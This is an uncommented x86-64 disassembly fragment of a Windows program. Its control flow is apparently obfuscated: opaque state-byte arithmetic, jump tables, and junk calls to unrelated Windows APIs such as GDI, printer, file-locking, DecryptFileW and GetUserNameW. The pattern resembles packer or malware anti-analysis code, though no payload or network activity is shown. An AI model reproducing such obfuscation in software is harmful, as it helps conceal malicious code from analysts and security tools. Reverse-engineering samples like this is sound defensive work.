movzx eax, byte [rsp + 0x728]
sub eax, 0x62
mov byte [rsp + 0x728], al
mov qword [rsp + 0x20], 0
mov r9d, 0x1fad
mov r8d, 0xa25
mov edx, 0xa1
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9940], eax
movzx eax, byte [rsp + 0x728]
add eax, 0x4a
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
and eax, 0xb8
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
or eax, 0xc9
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
shl eax, 7
mov byte [rsp + 0x728], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
cmp dword [rsp + 0x9930], 0x8d48
jbe 0x14001a322
movzx eax, byte [rsp + 0x728]
mov byte [rsp + 0x9948], al
cmp byte [rsp + 0x9948], 0x38
je 0x14001a745
cmp byte [rsp + 0x9948], 0x43
je 0x14001a8d4
cmp byte [rsp + 0x9948], 0x80
je 0x14001a52a
cmp byte [rsp + 0x9948], 0xd3
je 0x14001a482
cmp byte [rsp + 0x9948], 0xf6
je 0x14001a7c5
jmp 0x14001a95e
movzx eax, byte [rsp + 0x728]
xor eax, 9
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
sar eax, 6
mov byte [rsp + 0x728], al
mov edx, 0x2a
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [rsp + 0x994c], eax
movzx eax, byte [rsp + 0x728]
sub eax, 0xd5
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
add eax, 0x96
mov byte [rsp + 0x728], al
mov rcx, qword [rsp + 0x12c00]
call qword [sym.imp.GDI32.dll_GetROP2]
mov dword [rsp + 0x9950], eax
mov dword [rsp + 0x9950], 0x75c486e0
mov dword [rsp + 0x9950], 0x2abaf51a
movzx eax, byte [rsp + 0x728]
and eax, 0x3b
mov byte [rsp + 0x728], al
jmp 0x14001a9a7
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x9954], eax
cmp dword [rsp + 0x9954], 0
je 0x14001a57a
cmp dword [rsp + 0x9954], 0x43fedcb6
je 0x14001a6d5
cmp dword [rsp + 0x9954], 0x47e75cca
je 0x14001a6eb
cmp dword [rsp + 0x9954], 0x7391ed2d
je 0x14001a718
jmp 0x14001a72a
mov byte [0x140363edd], 0x71
movzx eax, byte [rsp + 0x728]
mov byte [rsp + 0x9958], al
cmp byte [rsp + 0x9958], 0x35
je 0x14001a5c9
cmp byte [rsp + 0x9958], 0x54
je 0x14001a696
cmp byte [rsp + 0x9958], 0x74
je 0x14001a6c5
cmp byte [rsp + 0x9958], 0xb0
je 0x14001a6b5
jmp 0x14001a6d3
lea rdx, [rsp + 0x728]
mov rcx, qword [rsp + 0x12c08]
call qword [sym.imp.GDI32.dll_SetColorAdjustment]
mov dword [rsp + 0x995c], eax
mov dword [rsp + 0x9950], 0x629a2e60
mov dword [rsp + 0x9950], 0xf473686
mov dword [rsp + 0x9950], 0x649d319d
mov r8, qword [rsp + 0x12c10]
mov edx, 0xea
mov rcx, qword [rsp + 0x12c18]
call qword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
mov dword [rsp + 0x9960], eax
movzx eax, byte [rsp + 0x728]
bts eax, 7
mov byte [rsp + 0x728], al
mov dword [rsp + 0x9950], 0x6304ddb
movzx eax, byte [rsp + 0x728]
add eax, 0x66
mov byte [rsp + 0x728], al
mov r8d, 0x9a
lea rdx, [rsp + 0x12c18]
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.GDI32.dll_Polyline]
mov dword [rsp + 0x9964], eax
mov dword [rsp + 0x9950], 0x67fda372
mov dword [rsp + 0x9960], 0xd90d
jmp 0x14001a6d3
mov rdx, qword [rsp + 0x12c20]
mov rcx, qword [rsp + 0x12c28]
call qword [sym.imp.GDI32.dll_GetClipRgn]
mov dword [rsp + 0x9968], eax
jmp 0x14001a6d3
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x9950], eax
jmp 0x14001a6d3
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x9968], eax
jmp 0x14001a735
movzx eax, byte [rsp + 0x728]
sub eax, 0xe1
mov byte [rsp + 0x728], al
jmp 0x14001a735
lea r9, [rsp + 0x728]
mov r8, qword [rsp + 0x12c28]
lea rdx, [rsp + 0x12c10]
mov ecx, 0x75
call qword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov qword [rsp + 0x12c30], rax
jmp 0x14001a735
movsx eax, byte [0x140363edd]
and eax, 0x2e
mov byte [0x140363edd], al
jmp 0x14001a735
mov dword [rsp + 0x9960], 0x5ba4
mov dword [rsp + 0x996c], 0xbef3
jmp 0x14001a9a7
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x9968], eax
mov rcx, qword [rsp + 0x12c08]
call qword [sym.imp.GDI32.dll_GetTextColor]
mov dword [rsp + 0x9970], eax
movzx eax, byte [rsp + 0x728]
xor eax, 0xcf
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x9950], eax
mov edx, 0xe5
mov rcx, qword [rsp + 0x12c38]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9974], eax
jmp 0x14001a9a7
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x9950], eax
lea rax, [rsp + 0x9970]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf1
mov r9d, 0x37
mov r8d, 0x48
mov edx, 0x6d
mov rcx, qword [rsp + 0x12c40]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9964], eax
movzx eax, byte [rsp + 0x728]
shl eax, 4
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x9968], eax
movsx eax, byte [0x140363edd]
sar eax, 1
mov byte [0x140363edd], al
mov ecx, 0x37
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x9978], eax
mov eax, dword [rsp + 0x9974]
mov dword [rsp + 0x9960], eax
movzx eax, byte [rsp + 0x728]
or eax, 0xd7
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x9968], eax
mov dword [rsp + 0x28], 0x68
mov rax, qword [rsp + 0x12c48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x12c50]
lea r8, [rsp + 0x12c20]
mov edx, 0xcf
mov ecx, 0x8c
call qword [sym.imp.KERNEL32.dll_GetTimeFormatW]
mov dword [rsp + 0x997c], eax
movzx eax, byte [rsp + 0x728]
add eax, 0x84
mov byte [rsp + 0x728], al
jmp 0x14001a9a7
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x997c], eax
movsx eax, byte [0x140363edd]
sub eax, 0x2c
mov byte [0x140363edd], al
lea rax, [rsp + 0x12c38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x728]
mov r8d, 0xea
lea rdx, [rsp + 0x12c50]
mov rcx, qword [rsp + 0x12c58]
call qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov dword [rsp + 0x9964], eax
mov eax, dword [rsp + 0x9974]
mov dword [rsp + 0x9970], eax
movzx eax, byte [rsp + 0x728]
and eax, 0xe
mov byte [rsp + 0x728], al
mov ecx, 0xfb
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x9968], eax
jmp 0x14001a9a7
movsx eax, byte [0x140363edd]
add eax, 0x12
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9974], eax
mov rdx, qword [rsp + 0x12c60]
mov rcx, qword [rsp + 0x12c68]
call qword [sym.imp.USER32.dll_SetMenu]
mov dword [rsp + 0x9964], eax
cmp dword [rsp + 0x996c], 0xb53d
jbe 0x14001ab4c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3f7d
mov r9d, 0x3319
mov r8d, 0x8bddfc13
mov edx, 2
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9938], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x996c]
sub eax, 0xe2
mov dword [rsp + 0x996c], eax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9950], eax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9980], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x997c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9974], eax
movzx eax, byte [rsp + 0x728]
or eax, 0x62
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9968], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x3f7d
mov r8d, 0x3319
mov edx, 0x78
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9940], eax
movzx eax, byte [rsp + 0x728]
and eax, 0x43
mov byte [rsp + 0x728], al
movsx eax, byte [0x140363edd]
sub eax, 0xc
mov byte [0x140363edd], al
movzx eax, byte [rsp + 0x728]
add eax, 0x5c
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
and eax, 0xb5
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9970], eax
mov eax, dword [rsp + 0x9950]
movzx ecx, al
mov eax, dword [rsp + 0x997c]
sar eax, cl
mov dword [rsp + 0x9968], eax
jmp 0x14001a9a7
movzx eax, byte [rsp + 0x728]
mov dword [rsp + 0x9984], eax
mov eax, dword [rsp + 0x9984]
sub eax, 0x13
mov dword [rsp + 0x9984], eax
cmp dword [rsp + 0x9984], 0xd0
ja case.0x14001ab9e.27
movsxd rax, dword [rsp + 0x9984]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x31eb38]
mov eax, dword [rcx + rax*4 + 0x31eb14]
add rax, rcx
jmp rax
movzx eax, byte [rsp + 0x728]
shl eax, 2
mov byte [rsp + 0x728], al
movsx eax, byte [0x140363edd]
xor eax, 0x38
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9960]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9970], eax
call qword [sym.imp.USER32.dll_GetKBCodePage]
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
movsx eax, byte [0x140363edd]
sub eax, 0x68
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9970], eax
lea rdx, [rsp + 0x12c68]
mov rcx, qword [rsp + 0x12c00]
call qword [sym.imp.USER32.dll_DrawFocusRect]
mov dword [rsp + 0x9964], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x997c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
jmp 0x14001b6f5
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
movsx eax, byte [0x140363edd]
or eax, 0x41
mov byte [rsp + 0x6f8], al
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9988], eax
cmp dword [rsp + 0x9988], 0
je 0x14001ade5
cmp dword [rsp + 0x9988], 0x2f7b
je 0x14001ad5e
cmp dword [rsp + 0x9988], 0x6611
je 0x14001ad09
cmp dword [rsp + 0x9988], 0x7120
je 0x14001adaf
cmp dword [rsp + 0x9988], 0xab1c
je 0x14001adce
jmp 0x14001b1e3
mov rdx, qword [rsp + 0x12c50]
mov rcx, qword [rsp + 0x12c70]
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0x12c78], rax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
jmp 0x14001b1f4
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov edx, 0x27
mov rcx, qword [rsp + 0x12c80]
call qword [sym.imp.USER32.dll_GetMenuItemID]
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9960]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
jmp 0x14001b1f4
mov eax, dword [rsp + 0x9950]
movzx ecx, al
mov eax, dword [rsp + 0x997c]
sar eax, cl
mov dword [rsp + 0x9968], eax
jmp 0x14001b1f4
movzx eax, byte [rsp + 0x728]
shl eax, 5
mov byte [rsp + 0x728], al
jmp 0x14001b1f4
mov dword [rsp + 0x4ab90], 0x11c
mov eax, 0x172
mov word [rsp + 0x2b74], ax
movzx eax, byte [rsp + 0x6f8]
mov byte [rsp + 0x998c], al
cmp byte [rsp + 0x998c], 0xed
je 0x14001ae45
cmp byte [rsp + 0x998c], 0x2d
je 0x14001b160
cmp byte [rsp + 0x998c], 0x47
je 0x14001b173
cmp byte [rsp + 0x998c], 0x61
je 0x14001b18e
jmp 0x14001b1aa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.24WjAk_r3NAyxAdwAqss
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12c88], rax
movsx eax, byte [rsp + 0x6f8]
or eax, 0x3a
movsx ecx, byte [0x140363edd]
cmp eax, ecx
jne 0x14001af63
mov r9d, 0xfe
lea r8, [rsp + 0x6fa90]
mov edx, 0x60
mov rcx, qword [rsp + 0x12c10]
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov dword [rsp + 0x9964], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9950]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
movzx eax, byte [rsp + 0x728]
and eax, 0x93
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9960]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9970], eax
mov r8d, 0x12
mov rdx, qword [rsp + 0x12c70]
mov rcx, qword [rsp + 0x12c90]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [rsp + 0x9990], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9990]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
jmp 0x14001b15b
movsx eax, byte [rsp + 0x6f8]
and eax, 0xa
movsx ecx, byte [0x140363edd]
cmp eax, ecx
jge 0x14001af9a
lea rdx, [rsp + 0x4a640]
mov rcx, qword [rsp + 0x12c90]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x9978], eax
jmp 0x14001b15b
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9990]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
movsx eax, word [rsp + 0x2b74]
or eax, 0x11c
cmp eax, 0x687
jl 0x14001b10e
movzx eax, byte [rsp + 0x728]
shl eax, 1
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
sar eax, 1
mov byte [rsp + 0x728], al
movsx eax, byte [rsp + 0x6f8]
and eax, 0x20
mov byte [0x140363edd], al
mov edx, 0xdc
lea rcx, [rsp + 0x12c28]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x12c98], rax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9970], eax
movzx eax, byte [rsp + 0x728]
or eax, 0x48
mov byte [rsp + 0x728], al
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x37
mov byte [0x140363edd], al
mov r9d, 0x43
mov r8d, 0x7a
mov rdx, qword [rsp + 0x12ca0]
mov rcx, qword [rsp + 0x12c90]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x9994], eax
movzx eax, byte [rsp + 0x728]
and eax, 0x83
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x24
mov byte [0x140363edd], al
mov qword [rsp + 0x20], 0x23
mov r9, qword [rsp + 0x12ca8]
mov r8, qword [rsp + 0x12c90]
mov rdx, qword [rsp + 0x12c48]
mov rcx, qword [rsp + 0x12cb0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x12c68], rax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
jmp 0x14001b15b
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9960]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x9974]
jne 0x14001b12b
jmp 0x14001b15b
movzx eax, byte [rsp + 0x728]
cmp eax, 0x4f
jne 0x14001b14e
movzx eax, byte [rsp + 0x728]
sub eax, 0xcf
mov byte [rsp + 0x728], al
jmp 0x14001b15b
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x9998], eax
jmp 0x14001b1e1
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x76
mov byte [0x140363edd], al
jmp 0x14001b1e1
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9990]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
jmp 0x14001b1e1
mov eax, dword [rsp + 0x9950]
movzx ecx, al
mov eax, dword [rsp + 0x59fc]
sar eax, cl
mov dword [rsp + 0x9968], eax
jmp 0x14001b1e1
mov qword [rsp + 0x20], 0xf5
mov r9, qword [rsp + 0x12cb8]
mov r8, qword [rsp + 0x12c78]
mov rdx, qword [rsp + 0x12c10]
mov rcx, qword [rsp + 0x12cc0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x12c68], rax
jmp 0x14001b1f4
movzx eax, byte [rsp + 0x728]
shl eax, 1
mov byte [rsp + 0x728], al
jmp 0x14001b6f5
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9998]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9990]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
lea rdx, [rsp + 0x12c98]
mov rcx, qword [rsp + 0x12cc8]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x995c], eax
movsx eax, byte [rsp + 0x6f8]
and eax, 0x2a
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
movzx eax, byte [rsp + 0x728]
or eax, 0x9e
mov byte [rsp + 0x728], al
mov edx, 0xa4
mov rcx, qword [rsp + 0x12c50]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x9994], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x9990], eax
lea r9, [rsp + 0x728]
mov r8d, 0xcb
mov edx, 0x27
mov rcx, qword [rsp + 0x12c58]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x12c40], rax
movsx eax, byte [0x140363edd]
and eax, 0x57
mov byte [rsp + 0x6f8], al
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
jmp 0x14001b6f5
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9990], eax
lea r9, [rsp + 0x12bf8]
mov r8d, 0x74
lea rdx, [rsp + 0x4a640]
mov rcx, qword [rsp + 0x12c38]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x999c], eax
movzx eax, byte [rsp + 0x728]
add eax, 0x75
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
jmp 0x14001b6f5
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
lea r9, [rsp + 0x12ca0]
mov r8d, 0x91
mov edx, 0x60
mov rcx, qword [rsp + 0x12c58]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x12c40], rax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x59fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x9968]
movzx ecx, al
mov eax, dword [rsp + 0x59fc]
shl eax, cl
mov dword [rsp + 0x997c], eax
lea r9, [rsp + 0x12cb0]
mov r8d, 0xde
lea rdx, [rsp + 0x4a640]
mov rcx, qword [rsp + 0x12c40]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x99a0], eax
jmp 0x14001b6f5
movzx eax, byte [rsp + 0x728]
sar eax, 2
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9998], eax
lea r9, [rsp + 0x12c18]
mov r8d, 0xb8
lea rdx, [rsp + 0x12c20]
mov rcx, qword [rsp + 0x12c38]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x99a0], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9990]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
movsx eax, byte [0x140363edd]
or eax, 0xe
mov byte [rsp + 0x6f8], al
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9998], eax
lea r9, [rsp + 0x9968]
mov r8d, 0x51
lea rdx, [rsp + 0x12c80]
mov rcx, qword [rsp + 0x12cd0]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x9994], eax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9998]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x997c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
jmp 0x14001b6f5
movzx eax, byte [rsp + 0x728]
add eax, 0xdc
mov byte [rsp + 0x728], al
mov edx, 0x8c
mov rcx, qword [rsp + 0x12c28]
call qword [sym.imp.GDI32.dll_SetDCBrushColor]
mov dword [rsp + 0x9960], eax
movzx eax, byte [rsp + 0x728]
or eax, 0x14
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9998], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x59fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov dword [rsp + 0x20], 0xf0
lea r9, [rsp + 0x9974]
lea r8, [rsp + 0x6f8]
mov rdx, qword [rsp + 0x12cd8]
mov rcx, qword [rsp + 0x12cc8]
call qword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
mov dword [rsp + 0x9978], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x59fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x997c]
mov dword [rsp + 0x9990], eax
lea rcx, [rsp + 0x4a6b0]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x99a0], eax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9960]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9970], eax
jmp 0x14001b6f5
movsx eax, byte [0x140363edd]
sub eax, 0x7c
mov byte [rsp + 0x6f8], al
movzx eax, byte [rsp + 0x728]
add eax, 0xdf
mov byte [rsp + 0x728], al
mov rcx, qword [rsp + 0x12c00]
call qword [sym.imp.GDI32.dll_GetLayout]
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9990]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x9990], eax
movzx eax, byte [rsp + 0x728]
sar eax, 2
mov byte [rsp + 0x728], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x99a0], eax
jmp 0x14001b6f5
mov eax, dword [rsp + 0x9998]
movzx ecx, al
mov eax, dword [rsp + 0x9974]
shl eax, cl
mov dword [rsp + 0x9970], eax
movzx eax, byte [rsp + 0x728]
or eax, 0xd9
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x997c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov ecx, 0x98
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x99a4], eax
movzx eax, byte [rsp + 0x728]
mov byte [rsp + 0x729], al
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x12ce0], rax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x9998]
mov edx, dword [rsp + 0x9970]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001b7fd
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9998]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
lea rax, [rsp + 0x9994]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x99a8]
mov r8d, 0x81
mov rdx, qword [rsp + 0x12c50]
mov rcx, qword [rsp + 0x12c40]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov dword [rsp + 0x9964], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x9950]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x9968]
mov dword [rsp + 0x9990], eax
movzx eax, byte [rsp + 0x729]
mov dword [rsp + 0x99ac], eax
mov eax, dword [rsp + 0x99ac]
sub eax, 0x39
mov dword [rsp + 0x99ac], eax
cmp dword [rsp + 0x99ac], 0xae
ja case.0x14001b85d.65
movsxd rax, dword [rsp + 0x99ac]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x31ec30]
mov eax, dword [rcx + rax*4 + 0x31ec0c]
add rax, rcx
jmp rax
movzx eax, byte [rsp + 0x729]
xor eax, 0x50
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9998]
movzx ecx, al
mov eax, dword [rsp + 0x9960]
shr eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12c00]
call qword [sym.imp.GDI32.dll_StrokeAndFillPath]
mov dword [rsp + 0x99b0], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
